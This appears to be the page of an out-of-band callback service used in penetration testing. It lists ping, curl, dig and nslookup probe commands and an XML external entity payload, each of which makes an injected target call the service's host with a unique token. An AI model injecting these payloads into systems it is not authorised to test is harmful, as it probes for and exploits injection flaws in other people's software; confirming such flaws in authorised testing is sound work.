$ ping -c1 -p 0091a60a0f78a87eec30cf37934b9500 unhack.ca
 
$ curl http://unhack.ca/p/91a60a0f78a87eec30cf37934b95
 
$ dig 91a60a0f78a87eec30cf37934b95 @unhack.ca
 
$ dig 91a60a0f78a87eec30cf37934b95.ns.unhack.ca
 
C:\> nslookup 91a60a0f78a87eec30cf37934b95 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/91a60a0f78a87eec30cf37934b95">]>
    <foo>&xxe;</foo>
Waiting for ping...